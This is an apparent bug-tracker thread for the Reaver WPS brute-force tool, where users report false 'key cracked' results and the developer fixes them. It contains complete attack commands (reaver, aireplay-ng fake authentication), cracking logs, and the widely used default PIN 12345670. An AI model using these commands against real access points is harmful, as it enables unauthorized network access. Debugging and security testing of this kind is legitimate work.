PIN Found but Incorrect.

[GoogleCodeExporter]

>What steps will reproduce the problem?

1. Initialize Reaver normally.
2. Press the 'WPS' Button (hard or soft) on the AP

>What is the expected output? What do you see instead?

Expected nothing.
Program Returns:

[+] Trying pin 42616139
[+] Key cracked in 2155 seconds
[+] WPS PIN: '42616139'

Cracked PIN is not the AP PIN number, the PIN that was being tested when the AP 
WPS button was pressed, would make sense, as the AP allows a different type of 
PIN check when pressing its WPS button, either on the device itself or the 
admin webpage, the admin webpage of the AP tested lists its own PIN, which is 
different from the cracked PIN in this case.

>What version of the product are you using? On what operating system?

--Reaver1.0
--Ubuntu11.10
--WAG120N AP

>Please provide any additional information below.

I'm not sure exactly how this program works, though I can assume the engine for 
cracking uses the NACK to determine failure, if there is no NACK at the end of 
the handshake does the program assume success and stop with a PIN it thinks is 
correct?

Original issue reported on code.google.com by Raanan.A...@gmail.com on 30 Dec 2011 at 7:38

[GoogleCodeExporter]

Great, I was almost considering buying some USB wifi card known to be 
compatible with Reaver, just so I can sort out what's due to iwlagn and what's 
due to the LB2. If aircrack-ng does it for me, my wallet will be grateful =)

So r48 does have association failures, a lot of it. r61 works with 
--no-associate and Fakeauth, except I only get timeouts and out of order 
packets. The PIN is never tested, I think it stops at M3 whereas with previous 
versions, when association worked through being a legit AP client, the PIN 
failed at M4 (even the correct one) and a "Failure" packet was logged right 
after.

This is a Wireshark pcap summary but I also have the fully detailed one if you 
need it. (Contains M1/M2/M3 packets, out of order stuff and is stripped of 
beacons)

Original comment by b1957...@nwldx.com on 5 Jan 2012 at 4:13

Attachments:

• Fail-summary.txt

[GoogleCodeExporter]

[deleted comment]

[GoogleCodeExporter]

[deleted comment]

[GoogleCodeExporter]

[deleted comment]

[GoogleCodeExporter]

[deleted comment]

[GoogleCodeExporter]

^By the way, RXQ is 100, PWR is about -60 at worst and I'm literally swamped in 
beacons.

I used command:
reaver -i mon0 -b XX:XX:XX:XX:XX:XX -c 6 -vv -A

And Fakeauth, where YY mac address is the real one and not a fake:
aireplay-ng mon0 --fakeauth 600 -e Livebox-XXXX -a XX:XX:XX:XX:XX:XX -h 
YY:YY:YY:YY:YY:YY

Correct PIN is 12345670.

Though I'm thinking this belongs in another issue. For clarity, do you wish 
that I create a new one or is it tied to issue 16 in some twisted way that only 
makes sense for programmers? :)

Original comment by b1957...@nwldx.com on 5 Jan 2012 at 4:38

[GoogleCodeExporter]

I think the current issue is definitely different from the original. But before 
creating a new issue I really would like to get it working to verify that the 
correct pin does in fact work. 

Can you provide an actual pcap? You can sanitize it and/or email it to me 
directly if that's a concern. It would really help to be able to look at the 
raw traffic.

BTW, that's an interesting pin. Is that the one that the AP had set by default? 
I've heard reports of multiple devices having that pin hard coded, so Reaver 
now checks 12345670 first. ;)

Original comment by cheff...@tacnetsol.com on 5 Jan 2012 at 5:04

[GoogleCodeExporter]

Hi!

Sorry for the delay. I just tried getting a pcap with Reaver r76 (or 75, forgot 
which), unfortunately it just doesn't run anymore. He talks about bad 
fragmentation or something and doesn't even get to send a packet, the program 
returns right away.

Walsh doesn't work even with a pcap from the Livebox 2 containing beacons and 
data (no active client, just me associated through Fakeauth).

I think it would not be a good idea that I continue to give you feedback with 
my current card and driver, sounds like it could only make you lose time. I 
should either find a proper USB wifi card or wait until Reaver uses aircrack to 
provide driver compatibility. Any idea about when this will be implemented?

And yes 12345670 is the default PIN for my AP, which seems to be the most 
widespread in France by far. I heard 12345670 is also the default for "Bbox 2" 
from Belgacom. I wonder how long it will take before ISPs catch up :)

Original comment by b1957...@nwldx.com on 6 Jan 2012 at 10:16

[GoogleCodeExporter]

Yay, I finally reach this bug.

Using Reaver r78 I am now able to have this very bug. I have pcap files of both 
a wrong PIN and a right PIN being tested, but considering comments 18 and 19 do 
provide pcaps, I don't know if you need any more. (Plus I don't know how to 
sanitize a pcap with all that hexadecimal mess inside)

Wrong PIN:
# reaver -vv -A -b XX:XX:XX:XX:XX:XX -i mon0 -p 00010009 

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 
<cheffner@tacnetsol.com>

[+] Waiting for beacon from XX:XX:XX:XX:XX:XX
[+] Switching mon0 to channel 6
[+] Associated with XX:XX:XX:XX:XX:XX (ESSID: Livebox-XXXX)
[+] Trying pin 00010009
[+] Sending EAPOL START request
[+] Sending identity response
[+] Sending identity response
[+] Sending identity response
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Trying pin 00010009
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Sending identity response
[+] Sending identity response
[+] Sending identity response
[+] Sending identity response
[+] Sending M2 message
[!] WARNING: Last message not processed properly, reverting state to previous 
message
[!] WARNING: Out of order packet received, re-trasmitting last message
[+] Sending M2D message
[!] WARNING: Last message not processed properly, reverting state to previous 
message
[!] WARNING: Out of order packet received, re-trasmitting last message
[!] WARNING: Last message not processed properly, reverting state to previous 
message
[+] Key cracked in 17 seconds
[+] WPS PIN: '00010009'
[+] Nothing done, nothing to save.

Right PIN:
# reaver -vv -A -b XX:XX:XX:XX:XX:XX -i mon0

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 
<cheffner@tacnetsol.com>

[+] Waiting for beacon from XX:XX:XX:XX:XX:XX
[+] Switching mon0 to channel 6
[+] Associated with XX:XX:XX:XX:XX:XX (ESSID: Livebox-XXXX)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Sending identity response
[+] Sending identity response
[+] Sending identity response
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Trying pin 12345670
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Sending identity response
[+] Sending identity response
[+] Sending identity response
[+] Sending identity response
[+] Sending identity response
[+] Sending identity response
[+] Sending identity response
[+] Sending identity response
[+] Sending M2 message
[!] WARNING: Last message not processed properly, reverting state to previous 
message
[!] WARNING: Out of order packet received, re-trasmitting last message
[+] Sending M2D message
[!] WARNING: Last message not processed properly, reverting state to previous 
message
[!] WARNING: Out of order packet received, re-trasmitting last message
[!] WARNING: Last message not processed properly, reverting state to previous 
message
[+] Key cracked in 16 seconds
[+] WPS PIN: '12345670'
[+] Nothing done, nothing to save.

Original comment by b1957...@nwldx.com on 9 Jan 2012 at 12:24

[GoogleCodeExporter]

Issue 112 has been merged into this issue.

Original comment by cheff...@tacnetsol.com on 9 Jan 2012 at 2:28

[GoogleCodeExporter]

After looking over the pcaps, this issue appears to manifest itself when there 
are connectivity issues between Reaver and the AP (many have fairly low signal 
levels). Probably Reaver is getting into an unexpected state when the 
transactions don't complete properly and is incorrectly interpreting this as a 
success. Working on it now.

Original comment by cheff...@tacnetsol.com on 9 Jan 2012 at 2:36

• Changed state: Started

[GoogleCodeExporter]

OK, I haven't been able to reproduce this bug myself, but I think I've located 
the logic bug that was causing the issue. Can anyone verify that this issue is 
fixed as of r80?

Original comment by cheff...@tacnetsol.com on 9 Jan 2012 at 3:32

[GoogleCodeExporter]

[deleted comment]

[GoogleCodeExporter]

[deleted comment]

[GoogleCodeExporter]

Unfortunately I get the same result. Although when I got the signal up a bit it 
looks like a few tries are going through. Only on the first run did it return 
12345670 immediately. Later it ran a few cycles - although also had lots of 
retries (50db).

Original comment by efs...@gmail.com on 9 Jan 2012 at 5:07

Attachments:

• r80.pcap

[GoogleCodeExporter]

There is only one place in the code during the cracking process where the 
status is marked as complete; I've added additional sanity checking to this 
section of code which will hopefully prevent these false positives (r82).

Original comment by cheff...@tacnetsol.com on 9 Jan 2012 at 5:20

[GoogleCodeExporter]

[deleted comment]

[GoogleCodeExporter]

Hi again.

Bug fixed for me. Although the right pin still doesn't work, at least there's 
no false positive anymore AND Walsh works good.

Regarding connectivity issues, airodump says I have -60 PWR and 100 RXQ. I do 
get timeouts and out of order packets using Reaver, I just don't know why 
considering airodump's numbers.

In case this is of any relevance, I'll throw the new output from Reaver r82 and 
some compile time warnings:

Warnings:
iwlib.c: In function 'iw_enum_devices':
iwlib.c:254: warning: ignoring return value of 'fgets', declared with attribute 
warn_unused_result
iwlib.c:255: warning: ignoring return value of 'fgets', declared with attribute 
warn_unused_result
iwlib.c: In function 'iw_get_kernel_we_version':
iwlib.c:337: warning: ignoring return value of 'fgets', declared with attribute 
warn_unused_result
iwlib.c:353: warning: ignoring return value of 'fgets', declared with attribute 
warn_unused_result

Reaver output is attached below and it's the same whether the PIN used is the 
right one or not.

Original comment by b1957...@nwldx.com on 9 Jan 2012 at 6:00

[GoogleCodeExporter]

Attachment here (oh boy do I suck using Google Code)

Original comment by b1957...@nwldx.com on 9 Jan 2012 at 6:05

Attachments:

• Reaver_output.txt

[GoogleCodeExporter]

Just a little update from me, I was initially getting the false pin returned 
instantly with no PSK, and after a particular revision it turned into timeouts. 

I've tried r82 (still using Backtrack 5R1 and a AWUS036 (Realtek RTL8187L).

It won't associate so I'm using aireplay-ng mon0 --fakeauth 600 -e 
TALKTALK-XXXX -a XX:XX:XX:XX:XX:XX -h YY:YY:YY:YY:YY:YY, then reaver -i mon0 -b 
bssid -vv -A.

[+] Waiting for beacon from 14:D6:XXX:XX:XX:XX
[+] Switching mon0 to channel 2
[+] Switching mon0 to channel 1
[+] Associated with 14:D6:XXX:XX:XX:X (ESSID: TALKTALK-4FXXXX)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request

My capture from Wireshark doesn't show much of interest either just:

17:25:20.085645 EAPOL start (1) v1, len 0
17:25:20.086788 558682821us tsft 1.0 Mb/s 2412 MHz 11b -24dB signal antenna 1 
[bit 14] Acknowledgment RA:00:XX:XX:XX:XX:XX (oui Unknown) 
17:25:20.086805 1.0 Mb/s [bit 15] EAPOL start (1) v1, len 0
17:25:25.101291 EAPOL start (1) v1, len 0
17:25:25.102080 1.0 Mb/s [bit 15] EAPOL start (1) v1, len 0
17:25:30.118981 EAPOL start (1) v1, len 0
17:25:30.120098 568716924us tsft 1.0 Mb/s 2412 MHz 11b -24dB signal antenna 1 
[bit 14] Acknowledgment RA:00:XX:XX:XX:XX:XX (oui Unknown) 
17:25:30.120617 1.0 Mb/s [bit 15] EAPOL start (1) v1, len 0

If this should be somewhere else, please let me know... 

Original comment by bdee...@gmail.com on 9 Jan 2012 at 6:08

[GoogleCodeExporter]

[deleted comment]

[GoogleCodeExporter]

Hello cheff ! If you had to take a wild guess, what could be the cause of this? 
(by this, I mean the right PIN not working)? Because this is not an isolated 
error. It happens with everybody on the same router model. Have you ever 
encountered anything like this before? b1957, do you think you could provide a 
cap showing this behaviour? Cheers

Original comment by jeanbar...@gmail.com on 9 Jan 2012 at 6:14

[GoogleCodeExporter]

bdeesal, this looks like a separate issue. But just a couple quick questions:

1) Were you able to associate to this same AP before?
2) What kind of signal strength do you have with the target AP?
3) Are you spoofing your MAC address?

Original comment by cheff...@tacnetsol.com on 9 Jan 2012 at 6:18

[GoogleCodeExporter]

@jean: Based on bdeesal's output above, Reaver can't test the pin because it 
can't establish a full WPS session with the target AP. I most commonly see the 
AP's signal strength is low or there is a lot of interference. There is also a 
known bug where reaver doesn't play nice with MAC spoofing, so if you are 
spoofing your MAC address you'll see these types of issues as well; in either 
case, they I don't think they're related to the original issue here.

Original comment by cheff...@tacnetsol.com on 9 Jan 2012 at 6:22

[GoogleCodeExporter]

Cheff, do you want me to start a new issue- or is there another issue that 
looks similar? The only reason I put it here was because my issue seemed to 
change as you updated reaver.

To answer your questions:

1) I was initially, but I think the release about 4 days ago broke this, see 
comments 27 and 38 from me, output included in them
2) Very strong, -35 or so
3) No

Original comment by bdee...@gmail.com on 9 Jan 2012 at 6:41

[GoogleCodeExporter]

Oh... and to add, I forgot to shut the Reaver session down and came back to 
this, unfortunately I had close Wireshark, but might help:

[+] Sending EAPOL START request
[+] Sending identity response
[!] WARNING: Out of order packet received, re-trasmitting last message
[!] WARNING: Last message not processed properly, reverting state to previous 
message
[!] WARNING: Out of order packet received, re-trasmitting last message
[+] Sending WSC ACK
[!] WARNING: Last message not processed properly, reverting state to previous 
message
[!] WARNING: Got packet type 21 (0x15), but haven't broken the first half of 
the pin yet!
[+] Sending identity response
[!] WARNING: Last message not processed properly, reverting state to previous 
message
[!] WARNING: Got packet type 19 (0x13), but haven't broken the first half of 
the pin yet!
[!] WARNING: Last message not processed properly, reverting state to previous 
message
[!] WARNING: Out of order packet received, re-trasmitting last message
[+] Sending M6 message
[!] WARNING: Receive timeout occurred
[+] Trying pin 22925671
[+] Sending EAPOL START request
[!] WARNING: Out of order packet received, re-trasmitting last message
[+] Sending identity response
[!] WARNING: Last message not processed properly, reverting state to previous 
message
[!] WARNING: Out of order packet received, re-trasmitting last message
[+] Sending WSC ACK
[!] WARNING: Last message not processed properly, reverting state to previous 
message
[!] WARNING: Got packet type 21 (0x15), but haven't broken the first half of 
the pin yet!
[!] WARNING: Last message not processed properly, reverting state to previous 
message
[!] WARNING: Got packet type 19 (0x13), but haven't broken the first half of 
the pin yet!

Let me know if you want me to try anything else, tempted to leave it going 
overnight.

Original comment by bdee...@gmail.com on 9 Jan 2012 at 6:42

[GoogleCodeExporter]

bdessal, there have been a lot of changes in the past few days, so it may be 
something not related to this issue. It definitely looks like a different 
problem though, please open a new issue for it (I'll also need a pcap to 
further debug the problem). Thanks!

Original comment by cheff...@tacnetsol.com on 9 Jan 2012 at 6:48

[GoogleCodeExporter]

@Comment 74:

I can't sanitize a pcap properly but I can provide a TCPdump similar to what's 
seen in comment 70. Not sure if it would still be any useful to you Craig?

If there's a way to dump more info in clear text so I can edit it, I'm okay as 
well, just let me know :)

Original comment by b1957...@nwldx.com on 10 Jan 2012 at 10:53

[GoogleCodeExporter]

OK, it looks like the false positive bug has been fixed. A new issue (issue 
117) has been opened to investigate the repeated timeout messages.

Original comment by cheff...@tacnetsol.com on 10 Jan 2012 at 6:27

• Changed state: Fixed